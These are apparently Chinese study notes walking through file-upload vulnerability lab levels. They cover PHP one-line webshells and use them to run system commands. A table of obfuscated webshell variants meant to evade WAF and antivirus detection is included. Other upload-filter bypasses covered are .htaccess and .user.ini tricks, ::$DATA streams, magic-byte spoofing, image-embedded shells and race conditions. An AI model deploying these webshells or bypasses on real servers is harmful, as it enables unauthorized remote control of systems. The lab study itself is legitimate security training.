目录
文件上传:我们所构建的恶意文件想办法去绕过限制,然后传送到服务的端;让它把文件保存下来,但是同时,你也要猜到,它最终保存在服务端的哪个位置;
如果不知道位置,那你传来传去,文件就和消失一样,白上传了;
允许上传PDF, 头像,txt ,图片 等
有时候没有限制的话。万一能上传php文件呢
Php(一句话木马)
你是不是得知道这个文件最后保存在什么位置呢;如果你猜不到保存的路径,那你上传了也是没有任何意义的;

你得知道文件传哪里去了,不然白搭
D:\phpstudy_pro\WWW\pikachu\vul\unsafeupload\uploads
假设我把一句话木马文件传上去;把原路径剪切掉,此时只要你能绕过校验,我们就认为你上传成功了
就是你的.php后缀的文件,现在传不上去,因为网页表面弹窗显示,但是,你把.php改成.png
只是作为学习来用;
然后回来看一句话木马是什么?
Php一句话木马
任何语言都有,就是我们平时用的最多的就是PHP
很简单的语句,但是你通过这个文件,你可以直接拿到对方电脑的控制权
PHP一句话木马是一种极简的Webshell后门,通常只有一行代码,攻击者可以利用它向服务器发送任意PHP命令并执行。它的核心是一个能动态执行代码的函数
能执行php代码
问题是我现在要执行的是真正的系统命令,一句话木马是用来执行代码命令
代码命令就是假设:PYTHON,它允许你执行print等;但是我们想执行的是whoami ipconfig 这些,我们把这些命令叫做系统命令;但是现在只能执行代码
那为什么一句话木马还能用呢;
(如eval)和一个接收外部参数的方法(如$_POST)。
🎯 最经典的形态
这是最基础、最常见的PHP一句话木马:
php
<?php @eval($_POST['cmd']); ?>
- <?php ... ?>:PHP代码的起始和结束标签,告诉服务器这是一段PHP代码。
- @:错误控制运算符,可以屏蔽执行时产生的报错信息,让木马更隐蔽。
- eval():核心函数,它会将括号内的字符串当作PHP代码来执行。
- $_POST'cmd':用于接收客户端通过POST请求发送的参数,'cmd'相当于连接木马的"密码",只有知道密码的人才能控制。
怎么利用:
给cmd去传一个值;正常情况下,这只允许你去传PHP函数,
但我们是
? cmd = system("whoami") whoami 属于最终的系统命令
Systemd最终传给了eval, 就把systemd给你执行了;
然后systemd就是真正实行whoami 命令执行的东西
但这个太简单了,太明显了,一写就被杀掉了
注: GET请求直接替换即可
Whoami

黑点是会出现汉字,编码会出现问题
假设你要把文件上传,但是我不允许你生成尖角号<>
Php的尖角号可以用什么替换
死局问题,暂不说
有了一句话木马,可以干什么;
可以通过工具去连接它,连接木马文件,
蚁剑 冰蝎 菜刀 webshell
连接成功后就拥有了控制权了;
⚙️ 它是如何工作的?
- 上传木马:利用文件上传漏洞等方式,将包含上述代码的文件(例如shell.php)上传到目标网站的服务器目录。
- 发送指令:攻击者通过工具(如蚁剑、中国菜刀)向该文件发送POST请求,请求体中包含要执行的PHP代码,如password=system('whoami');。
- 执行指令:服务器上的木马文件收到请求后,eval()函数会将system('whoami')当作PHP代码执行,并将结果返回给攻击者。
通过这个流程,攻击者可以间接控制服务器,执行文件管理、系统命令等操作。
🛡️ 如何实现"免杀"与变形?
由于基础形态特征明显,很容易被安全软件(WAF)识别。为了绕过检测,攻击者会使用各种变形技巧来伪装。
| 变形技巧 | 代码示例 | 原理说明 |
|---|---|---|
| 可变变量 | <?php a = "eval"; b = "a"; $$b($_POST'x'); ?> | 通过PHP的可变变量特性,间接调用eval函数。 |
| 字符串拼接 | <?php a = "e"."v"."a"."l"; a($_POST'x'); ?> | 将关键函数名拆分成多个字符串再拼接,避免直接出现eval关键字。 |
| 编码隐藏 | <?php a = base64_decode("ZXZhbA=="); a($_POST'x'); ?> | 将eval进行Base64编码,执行时再解码,绕过基于关键字的检测。 |
| 回调函数 | <?php @call_user_func("assert", $_POST'x'); ?> | 使用call_user_func等函数来动态调用assert等危险函数。 |
除了防火墙,还有实时保护WINDOWS关不掉的,关了也会自动启动
所以用之前把火墙关了,或者实时保护;

题外话:
主机配置,和虚拟机配置不一样;IP也就不一样
两个环境不一样
用BP抓包最好不要用,127.0.0.1
虽然能访问到,但是有时候BP抓不到这个包;
开始第一关:

不仅要保证上传而且要保证上传完要访问到;



发现是基于前端的JS进行校验的;可以绕过;我们甚至可以在浏览器中不让它用JS
就BP抓包

把后缀改成PHP
因为访问的时候,没有携带参数值;所以报错

可以通过抓包传参
蚁键默认用的是POST请求
<?php ?> php 限制和过滤 (php)===》怎么去让服务器正常的吧你的文件作为php文件执行
第二关

Gif
看你属性值是不是这三者的一个,如果是的话,才执行下面IF判断;否则就是文件类型不正确请重新上传;
这一关是通过content-type属性值开始校验的

有时候清空会把文件夹清理掉,新建即可
php
<?php eval($_POST['phpinfo'];?>
Phpinfo通常会被用作测试
第三关:apache后缀解析的问题

如果是其中一个就会报错
后缀名没有完全的去过滤掉;我们有些中间件APACHE

把后缀名改成:

上传完之后PHP能不能正常的认为是PHP代码并执行
执行后出现info界面就是OK的
第4关
黑名单非常多

你传没问题,你传上去它执行不了,
目录级别的配置文件


创建一个.htaccess 文件,然后把配置写进去;
然后上传;
成功!!!!!!!
目录级别的APACHE起的作用;
第5关
把.htacess给BAN了;
这一题考的是PHP的目录级别的配置文件
Php.ini(.user.ini) 当用户访问当前目录下的某类文件的时候,默认先导入某个文件的内容

比如我现在UPdata下面,

Auto_prepend_file=proof.jpg
使用Phpstudy2018
APACHE下面必须要,跟PHP是通过PHP-fpm; 那样的运行方式,这样你的user.ini才可以生效;

尝试切换版本
问AI:如何切换成使用php-fpm
会把文件重命名
这一关是黑名单没有校验全;没有把全是大写的PHP加进去;
后面也没有转小写功能

还有php7;或者phpl
所以说你的黑名单写的再完全,也不可能完全考虑到;


第6关:

·限制大小写,限制点等

加个空格
正常情况下,不显示路径,就只能猜测;
第一个:保证文件能传上去;
第二个:保证你能找到文件
第三个:你去访问文件的路径的时候,还得保证能够被当作php代码执行;
第7关:

和上一关相比,少了一个删除文件名末尾的点
你在文件名后加点 本质上还是能被识别为php文件的

依旧执行,完全可以正常识别的
第8关:

刚才的侥幸,在8关就不行了
Windows里面的文件流操作

我们如果想要访问别的文件流的时候,就可以通过默认的数据流也就是真实数据部分

Test.php::$DATA

直接到13关:

它其实就是只校验了你的文件名是不是;我们通过抓包后呢;你可以直接给你的文件前面加一个,GIF89a;这样的话,拿上后就认为是有这个东西的

方法2:
你把改过的JPG文件,
用VSCODE的的16进制编辑器打开;

一般在前面固定的就那几个字符, 我就把它叫做magic number; 会根据前面的固定数字,来判断你这个文件,是什么类型的文件;
魔数(Magic Number) 是文件头部几个字节的特定序列,用于在操作系统层面快速、准确地识别文件类型,而不依赖于可能被随意修改的文件扩展名。以下是一些常见文件类型的魔数字节(十六进制表示):
| 文件格式 | 魔数(十六进制) | 备注 |
|---|---|---|
| JPEG | FF D8 FF | 常见于JPEG/JFIF格式,部分变体以FF D8 FF E0或FF D8 FF E1开头。 |
| PNG | 89 50 4E 47 0D 0A 1A 0A | 固定8字节。 |
| GIF | 47 49 46 38 (GIF8) | ASCII码对应字符串 "GIF8"。 |
| BMP | 42 4D | ASCII码对应字符串 "BM"。 |
| TIFF | 49 49 2A 00 或 4D 4D 00 2A | 分别对应小端序和大端序。 |
📄 文档与压缩文件
| 文件格式 | 魔数(十六进制) | 备注 |
|---|---|---|
| 25 50 44 46 | ASCII码对应字符串 "%PDF"。 | |
| ZIP | 50 4B 03 04 | ASCII码对应字符串 "PK"。DOCX、XLSX等Office文档也是ZIP容器。 |
| RAR | 52 61 72 21 | ASCII码对应字符串 "Rar!"。 |
| 7-Zip | 37 7A BC AF 27 1C | 。 |
| GZIP | 1F 8B 08 | 。 |
🎵 音视频文件
| 文件格式 | 魔数(十六进制) | 备注 |
|---|---|---|
| MP3 | 49 44 33 | 包含ID3标签的MP3文件。 |
| WAV | 52 49 46 46 | ASCII码对应字符串 "RIFF"。 |
| AVI | 52 49 46 46 | 同样以 "RIFF" 开头。 |
| MP4 | 66 74 79 70 (在偏移量4字节处) | ASCII码对应字符串 "ftyp"。 |
⚙️ 可执行文件
| 文件格式 | 魔数(十六进制) | 备注 |
|---|---|---|
| Windows EXE/DLL | 4D 5A | ASCII码对应字符串 "MZ"。 |
| Linux ELF | 7F 45 4C 46 | ASCII码对应字符串 "\x7FELF"。 |
| Java Class | CA FE BA BE | 著名的Java咖啡杯魔数。 |
魔数是一种更可靠的识别方式,但并不能保证100%准确。一些文件格式(特别是复杂的容器格式)的魔数可能更长或在文件中的位置不同,有些恶意文件也可能通过伪造魔数来伪装自己。

Ai.png


想要制作图片码;相当于我现在要把我test.php里面的内容追加到刚才的.png的图片里面去;
你可以指定比如生成的图片是test.png; 你的恶意代码就跑到了图片里面去;
可以正常显示图片;用16进制编辑器打开
先传一个PNG

你一张JPG或PNG图片,不能被APACHE交给PHP解析器;
可以上传一个目录级的配置
如果没有配置毛病在的话?
所以要配合文件包含漏洞;

图片码位置
第14关:
也是图片码

Getimagesize函数
就不能补GIF89a了
14关要图片
图片码
第15关:

先查询函数用法





第16关:二次渲染
本关使用 GD 库对图片进行二次渲染 ------先解码图片为内存图像,再重新编码保存。这个过程会清除大部分附加数据 ,包括简单的图片马。必须找到图片中渲染后字节不变的稳定区域 ,将 PHP 代码放在那里。
第17关:条件竞技
白名单:只能是白名单里面的后缀
在test.php中,在指定位置,让其生成一个新的文件;这个文件就不影响
抓时间差

查东西尽量在官网查
AI提示词:读取链接把内容整理成易懂的内容
用BP来尝试
演示:

抓上传文件的包

抓路径的包


第一个包;用来不断去上传文件

第二个包:不断尝试去访问的请求
传文件

5000次
发请求:

让他们一直跑直到访问成功为止

'
找一个非404的
停止到17